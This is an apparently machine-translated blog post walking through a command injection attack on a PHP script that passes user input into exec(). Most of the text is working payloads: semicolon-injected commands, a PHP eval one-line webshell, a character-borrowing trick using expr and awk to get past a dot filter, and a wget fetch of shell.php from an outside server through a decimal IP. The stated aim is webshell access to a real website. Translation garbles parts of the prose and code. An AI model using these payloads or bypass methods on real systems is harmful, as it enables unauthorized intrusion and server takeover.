Xeyes · 2014/03/05 12:18
0 x00 background
A website was found to have vulnerabilities and was tested:
This is a cgi script to get the source of the web page xxx.com/cgi-bin/pri… habitually, test after file.. /.. /.. /.. /.. / Contain or read vulnerabilities are not valid. The interesting thing is that directories and files are successfully read using the File protocol (local File Transfer Protocol).
The target environment is Red Hat6.5+Apache, the next job is to go through sensitive files, find configuration files to collect information and locate the current site path.
0x01 A Breach is Found
After a period of brick moving time to view, the current site can not be used, with the service site scripting language mainly cgi Perl, a small amount of PHP. Consistent carpet search can use the code, during the period to find a lot of cgi scripts with execution permission, try to access in the browser, but are prompted 500 internal errors, so that even if the successful operation can not know the code running status, can only give up. After a period of time, I finally found an interesting PHP script code in the PHP file of the same server site.
#! php exec('make -i -f skriptit/Makefile DOT_EXEC=bin/ SCRIPTDIR=skriptit/ PICNAME='.$file.' htmlcheck dot2png dot2png_large dot2pdf');Copy the code
Exec () executes an external program, as long as it can control the variable $file in PICNAME=’.$file.’, it is possible to execute system commands. Be decisive in saving code native tests.
Code analysis is as follows:
#! php <html> <head><title>Content</title> <link rel="stylesheet" type="text/css" href="style.css"></link> <link rel="stylesheet" type="text/css" href="styles.css"></link> <script type="text/javascript" src="common.js"></script><script type="text/javascript" src="css.js"></script><script type="text/javascript" src="standardista-table-sorting.js"></script> <script type="text/javascript" src="toggle.js"> </script> <script type="text/javascript"> function updateAppletTarget(q) { parent.applet.updateAppletTarget(q); } </script> </head> <body> <div id="change"> <? php $id=""; if (isset($_POST["id"])) $id=$_POST["id"]; / / GET or POST receives input id else if (isset ($_GET (" id "))) $id = $_GET (" id "); if (strlen($id)>0) { // PUBLIC_ID_SEPARATOR //$id = ereg_replace(":","|",$id); #$id="tesdts.fdkjfls|fjksldaf.fdsfaa"; #echo $id; #note: equivalent function is used in fi.jyu.mit.utils.FileLib.java #$file = ereg_replace("\\||\\.","_",$id); $file = ereg_replace("\\||\\:|\\.","_",$id); / / ereg_replace - if id contained in the incoming data \ | :., _, is ereg_replace regular judgment to the next. // string ereg_replace ( string pattern, string replacement, string string ) #echo $file; if (strpos($file,'\\') ! $strpos($file,'/'); $file ($file,'/'); == false or strpos($file,':') ! == false) die('Not current directory'); // refresh HTML file and pics # exec('make -f Makefile -c.. PICNAME='.$file.' htmlcheck'); # exec('make PICNAME='.$file.' htmlcheck'); # die('make -i -f skriptit/Makefile DOT_EXEC=bin/ SCRIPTDIR=skriptit/ PICNAME='.$file.' htmlcheck dot2png dot2png_large dot2pdf'); exec('make -i -f skriptit/Makefile DOT_EXEC=bin/ SCRIPTDIR=skriptit/ PICNAME='.$file.' htmlcheck dot2png dot2png_large dot2pdf'); Exec ('make PICNAME='.$file.' dot2png dot2png_large dot2pdf'); if ((! File_exists (" HTML/". $file. "HTML")) | | (filesize (" HTML/". $file. The "HTML") = = 0)) {echo "paivitetaan "."html/".$file.".html"; ? > <script type="text/javascript"> updateAppletTarget('<? php echo $id ? > '); </script> <? php } else readfile("html/".$file.".html"); }? > <! -- disabled temporirarily <a href="#" onclick="updateAppletTarget('edit'); return false;" >Muokkaa</a> --> </div> </body> </html>Copy the code
The following is a local test of filtered characters:
#! php $file = ereg_replace("\\||\\:|\\.","_",$id);Copy the code
| here as well. // \\ Not current directory(Not current directory)
#! php die('make -i -f skriptit/Makefile DOT\_EXEC=bin/ SCRIPTDIR=skriptit/ PICNAME='.$file.' htmlcheck dot2png dot2png\_large dot2pdf');Copy the code
Die print the results and see:
The print results can be seen
aaaaa, '`
Copy the code
Can be brought in and; (semicolon) also executes successfully then it is interesting to construct the statement:
http://localhost/test.php?id=aaaa; echo test >aaaCopy the code
Succeeded in writing to the current directory.
Of course, you can also execute commands, and also write the command execution results to a file for echo.
http://localhost/test.php?id=aaaa; id >aaa;Copy the code
Notice the extra one at the end; The (semicolon) cuts off the extra stuff.
Next, write a shell to clarify your thoughts:
#! php $file = ereg_replace("\\||\\:|\\.","_",$id);Copy the code
| well. Have been replaced with _ (horizontal), / / \ \ path symbol indicates that the Not current directory (Not the current directory), write the shell need. (point) plus suffixes, if write files directly
http://localhost/test.php?id=aaaa; echo <? php eval($_REQUEST[v]); ? > >zzz.phpCopy the code
The resulting file name is zzz_php, which also cannot be escaped with \.
You might say, damn, you can download files. Let me write the code like this
http://localhost/test.php?id=aaaa; wget www.ccav.com/shell.phpCopy the code
So the result is:
Not current directory
Copy the code
Because it contains the dot and the path symbol.
0x02 Bypass Mode
To this point, you have to consider how to bypass filtering and use the shell in two separate ways.
1 How do I echo a shell? 2. How do I download a shellCopy the code
The first method:
How to echo shell, to write a sentence PHP Trojan as an example, the main solution is.(dot) problem,$(dollar symbol), and >(pipe symbol) and parentheses. The method I’m using here is “Borrow flowers from Buddha.”
Echo complete statement as follows:
#! php echo <? php eval($_REQUEST[v]); ? > >test.phpCopy the code
If not, “borrow”, simply borrow characters from existing files. You can borrow from a variable or from an existing file. The method used is the Linux Shell expr method.
The following image prints the first six characters in the test.php file. All you need to do is borrow all the necessary characters from the file. (The test.php example is the vulnerability file itself)
Next is the physical work, to a word in the Trojan horse all filtered characters are borrowed in turn. Note that the interval between reading characters does not appear to contain Spaces, otherwise EXPR will determine the column count is incorrect.
[email protected]:/var/www# echo `expr substr $(awk NR==20 test.php) 5 1`
"
[email protected]:/var/www# echo `expr substr $(awk NR==20 test.php) 1 1`
$
[email protected]:/var/www# echo 'expr substr $(awk NR==1 test.php) 1 1 1'
<[email protected]:/var/www# echo `expr substr $(awk NR==1 test.php) 6 1`
>
[email protected]:/var/www# expr substr $(awk NR==11 test.php) 35 1
)
[email protected]:/var/www# expr substr $(awk NR==11 test.php) 33 1
(
[email protected]:/var/www# expr substr $(awk NR==20 test.php) 7 1
;[email protected]:/var/www# expr substr $(awk NR==17 test.php) 2 1
?Copy the code
The complete statement is:
echo `expr substr $(awk NR==1 test.php) 1 1`? php eval`expr substr $(awk NR==11 test.php) 33 1``expr substr $(awk NR==20 test.php) 1 1`_REQUEST[v]`expr substr $(awk NR==11 test.php) 35 1``expr substr $(awk NR==20 test.php) 7 1``expr substr $(awk NR==17 test.php) 2 1``expr substr $(awk NR==1 test.php) 6 1` >2`expr substr $(awk NR==30 test.php) 13 1`phpCopy the code
Successfully executed in shell
I will get shell soon. In a short time, I will be promoted and raised, become the general manager and CEO, marry Bai Fumei and walk on the peak of my life. Think of a little bit of excitement, hey hey ~~
I wipe, this how to play…… The result of executing the test.php file on the test environment was never expected to end up with a.(dot), because you still need the suffix to read the test.php file. Your sister…
So let’s go back to the point. This time, ls > XXX writes all files in the current directory (directory files with suffixes) to XXX and then borrows.(dot) from XXX.
http://localhost/test.php?id=aaaa; ls >xxx;Copy the code
In my local environment, the characters in line 1, column 2 (2.php) of the XXX file are.(dot)
Replace all of the.(dot) in test.php with.(dot) in the original statement
`expr substr $(awk NR==1 xxx) 2 1`
Copy the code
The original statement:
echo `expr substr $(awk NR==1 test.php) 1 1`? php eval`expr substr $(awk NR==11 test.php) 33 1``expr substr $(awk NR==20 test.php) 1 1`_REQUEST[v]`expr substr $(awk NR==11 test.php) 35 1``expr substr $(awk NR==20 test.php) 7 1``expr substr $(awk NR==17 test.php) 2 1``expr substr $(awk NR==1 test.php) 6 1` >2`expr substr $(awk NR==30 test.php) 13 1`phpCopy the code
To:
echo `expr substr $(awk NR==1 test`expr substr $(awk NR==1 xxx) 2 1`php) 1 1`? php eval`expr substr $(awk NR==11 test`expr substr $(awk NR==1 xxx) 2 1`php) 33 1``expr substr $(awk NR==20 test`expr substr $(awk NR==1 xxx) 2 1`php) 1 1`_REQUEST[v]`expr substr $(awk NR==11 test`expr substr $(awk NR==1 xxx) 2 1`php) 35 1``expr substr $(awk NR==20 test`expr substr $(awk NR==1 xxx) 2 1`php) 7 1``expr substr $(awk NR==17 test`expr substr $(awk NR==1 xxx) 2 1`php) 2 1``expr substr $(awk NR==1 test`expr substr $(awk NR==1 xxx) 2 1`php) 6 1` >2`expr substr $(awk NR==30 test`expr substr $(awk NR==1 xxx) 2 1`php) 13 1`phpCopy the code
A syntax error occurred in the execution.
Another way to think about it, it was a big detour. Cat test.php > xxoo But this is still filtered to test_php, you can only borrow the point from XXX first.
Statement:
cat test`expr substr $(awk NR==2 xxx) 6 1`php >xxoo
Copy the code
Write test.php to an xxoo file
Finally, change test.php to xxoo to solve the limitation of the point
The original statement:
echo `expr substr $(awk NR==1 test.php) 1 1`? php eval`expr substr $(awk NR==11 test.php) 33 1``expr substr $(awk NR==20 test.php) 1 1`_REQUEST[v]`expr substr $(awk NR==11 test.php) 35 1``expr substr $(awk NR==20 test.php) 7 1``expr substr $(awk NR==17 test.php) 2 1``expr substr $(awk NR==1 test.php) 6 1` >2`expr substr $(awk NR==30 test.php) 13 1`phpCopy the code
Revised:
echo `expr substr $(awk NR==1 xxoo) 1 1`? php eval`expr substr $(awk NR==11 xxoo) 33 1``expr substr $(awk NR==20 xxoo) 1 1`_REQUEST[v]`expr substr $(awk NR==11 xxoo) 35 1``expr substr $(awk NR==20 xxoo) 7 1``expr substr $(awk NR==17 xxoo) 2 1``expr substr $(awk NR==1 xxoo) 6 1` >2`expr substr $(awk NR==30 xxoo) 13 1`phpCopy the code
Test environment successfully executed:
http://localhost/test.php?id=anything; echo `expr substr $(awk NR==1 xxoo) 1 1`? php eval`expr substr $(awk NR==11 xxoo) 33 1``expr substr $(awk NR==20 xxoo) 1 1`_REQUEST[v]`expr substr $(awk NR==11 xxoo) 35 1``expr substr $(awk NR==20 xxoo) 7 1``expr substr $(awk NR==17 xxoo) 2 1``expr substr $(awk NR==1 xxoo) 6 1` >2`expr substr $(awk NR==30 xxoo) 13 1`php;Copy the code
Finally write complete PHP a word Trojan. Remove target Webshell permissions.
Summary steps:
1)
Ls > XXX, cat XXX The number of rows and columns of.Copy the code
2)
Cat test. 'expr substr $(awk NR==1 XXX) 2 1' PHP > xxooCopy the code
3)
echo `expr substr $(awk NR==1 xxoo) 1 1`? php eval`expr substr $(awk NR==11 xxoo) 33 1``expr substr $(awk NR==20 xxoo) 1 1`_REQUEST[v]`expr substr $(awk NR==11 xxoo) 35 1``expr substr $(awk NR==20 xxoo) 7 1``expr substr $(awk NR==17 xxoo) 2 1``expr substr $(awk NR==1 xxoo) 6 1` >2`expr substr $(awk NR==30 xxoo) 13 1`php; // The required characters are replaced with characters from xxoo files.Copy the code
The second method:
Download the file to get the shell, this method to save a lot of trouble, to solve the key or.(dot), and //(path).(dot) solution can be bypassing the digital IP method.
Requirements:
The webserver that can be accessed from the Internet using IP, the target that has wGET program, and the current directory that has write file permission.Copy the code
Online conversion link:
http://tool.chinaz.com/ip/?IP=127.0.0.1
Copy the code
Take the local computer (ubuntu +apache2 🙂 as an example
1. Obtain the IP address 127.0.0.1 = 2130706433 2. Put outside the network server PHP parsing, under the apache configuration file parameter annotation # LoadModule php5_module/usr/lib/apache2 / modules/libphp5. So 3. <a href="shell.php">test</a> '<a href=" test</a> "> Ps: It seems to work with the 301 redirect, but I haven't tested it yetCopy the code
Parameter: wGET-R 2130706433
The effect is shown below. After downloading, save the file in a directory structure to get the shell.
0 x03 finally
Welcome to correct errors or omissions. Take this article as an example, I hope you share some methods of writing shell under Linux shell bypassing character filtering.
Finally, thank brother Moon for his careful guidance.